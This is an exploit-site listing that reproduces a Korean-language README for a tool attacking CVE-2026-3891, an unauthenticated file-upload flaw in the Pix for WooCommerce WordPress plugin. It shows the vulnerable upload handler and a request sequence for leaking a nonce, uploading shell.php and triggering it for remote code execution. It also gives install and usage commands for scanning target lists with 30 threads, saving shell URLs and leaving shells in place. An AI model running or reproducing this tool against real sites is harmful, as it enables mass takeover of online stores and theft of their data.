Sploitus

Exploit for CVE-2026-3891

kitploit Β· 2026-08-24

Exploit Code

MARKDOWN121 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SHINTHINK-CVE-2026-3891
![](https://img.shields.io/badge/python-3.8+-3776AB?style=flat-square&logo=python&logoColor=white) ![](https://img.shields.io/badge/CVE-2026--3891-CC0000?style=flat-square) ![](https://img.shields.io/badge/CVSS-9.8_CRITICAL-CC0000?style=flat-square) ![](https://img.shields.io/badge/license-MIT-97CA00?style=flat-square)

### CVE-2026-3891 β€” Pix for WooCommerce μΈμ¦λ˜μ§€ μ•Šμ€ 파일 μ—…λ‘œλ“œ RCE

#### Nonce 유좜 β†’ certificate_crt_path μ—…λ‘œλ“œ β†’ μ½”λ“œ μ‹€ν–‰

* * *

## κ°œμš”

**CVE-2026-3891** 은 linknacional의 **Pix for WooCommerce** WordPress ν”ŒλŸ¬κ·ΈμΈ 버전 **≀ 1.5.0** μ—μ„œ λ°œμƒν•˜λŠ” 치λͺ…적 심각도(CVSS 9.8)의 **μΈμ¦λ˜μ§€ μ•Šμ€** μž„μ˜ 파일 μ—…λ‘œλ“œ μ·¨μ•½μ μž…λ‹ˆλ‹€.

`lkn_pix_for_woocommerce_c6_save_settings` AJAX ν•Έλ“€λŸ¬μ—λŠ” λ‹€μŒκ³Ό 같은 λ¬Έμ œκ°€ μžˆμŠ΅λ‹ˆλ‹€:

  1. **κΆŒν•œ 검사 μ—†μŒ** β€” μΈμ¦λ˜μ§€ μ•Šμ€ λ°©λ¬Έμžλ„ ν˜ΈμΆœν•  수 μžˆμŠ΅λ‹ˆλ‹€
  2. **파일 μœ ν˜• 검증 μ—†μŒ** β€” `certificate_crt_path` λ§€κ°œλ³€μˆ˜λ₯Ό 톡해 λͺ¨λ“  파일 ν™•μž₯μžκ°€ ν—ˆμš©λ©λ‹ˆλ‹€
  3. μœ νš¨ν•œ nonceλŠ” 인증 없이 `lkn_pix_for_woocommerce_generate_nonce` μ—”λ“œν¬μΈνŠΈλ₯Ό 톡해 **자유둭게 νšλ“** ν•  수 μžˆμŠ΅λ‹ˆλ‹€



μ—…λ‘œλ“œλœ νŒŒμΌμ€ μ›Ήμ—μ„œ μ ‘κ·Ό κ°€λŠ₯ν•œ 디렉터리인 `/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/`에 μ €μž₯λ©λ‹ˆλ‹€.

### μ·¨μ•½ν•œ 버전

Version| Status  
---|---  
≀ 1.5.0| μ·¨μ•½  
1.6.0+| 패치됨  
  
> **발견자:** Alexis Lafontaine (Wordfence 경유, 2026λ…„ 3μ›” 13일)

* * *

## 취약점 λ©”μ»€λ‹ˆμ¦˜

### κ·Όλ³Έ 원인

root@kitploit:~
    
    
    // Nonce generated without auth
    add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
    
    // Upload handler β€” no capability check, no file type validation
    add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_c6_save_settings', ...);
    function c6_save_settings() {
        // No current_user_can() check
        // No wp_check_filetype() call
        move_uploaded_file($_FILES['certificate_crt_path']['tmp_name'], $dest);
    }
    

### 곡격 흐름

root@kitploit:~
    
    
    1. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_generate_nonce
       β†’ Get valid nonce (no auth needed)
    2. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_c6_save_settings
       β†’ Upload shell.php via certificate_crt_path field
    3. GET /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/shell.php
       β†’ RCE
    

* * *

## μ„€μΉ˜

root@kitploit:~
    
    
    git clone https://github.com/shinthink/CVE-2026-3891.git
    cd CVE-2026-3891
    pip install -r requirements.txt
    

## μ‚¬μš©λ²•

root@kitploit:~
    
    
    python cve_2026_3891.py -t target.com
    python cve_2026_3891.py -f targets.txt -o shells.txt
    python cve_2026_3891.py -t target.com --debug --no-cleanup
    

### 인자

root@kitploit:~
    
    
      -t, --target      Single target
      -f, --file        Target list
      -o, --output      Save RCE URLs
      --threads         Workers (default: 30)
      --no-cleanup      Leave shells on target
      --debug           Show every request
      -v, --verbose     Verbose output
    

* * *

## λ©΄μ±… μ‘°ν•­

> **ꡐ윑 및 승인된 ν…ŒμŠ€νŠΈ λͺ©μ μœΌλ‘œλ§Œ μ‚¬μš©ν•˜μ‹­μ‹œμ˜€.** μž‘μ„±μžλŠ” μ˜€μš©μ— λŒ€ν•œ μ±…μž„μ„ μ§€μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.

* * *

## 참고 자료

λ¦¬μ†ŒμŠ€| 링크  
---|---  
Wordfence ꢌ고| wordfence.com  
NVD ν•­λͺ©| CVE-2026-3891  
μ—°κ΅¬μž| Alexis Lafontaine  
  
* * *

linknacional λ˜λŠ” Pix for WooCommerce와 μ œνœ΄ν•˜μ§€ μ•Šμ•˜μŠ΅λ‹ˆλ‹€.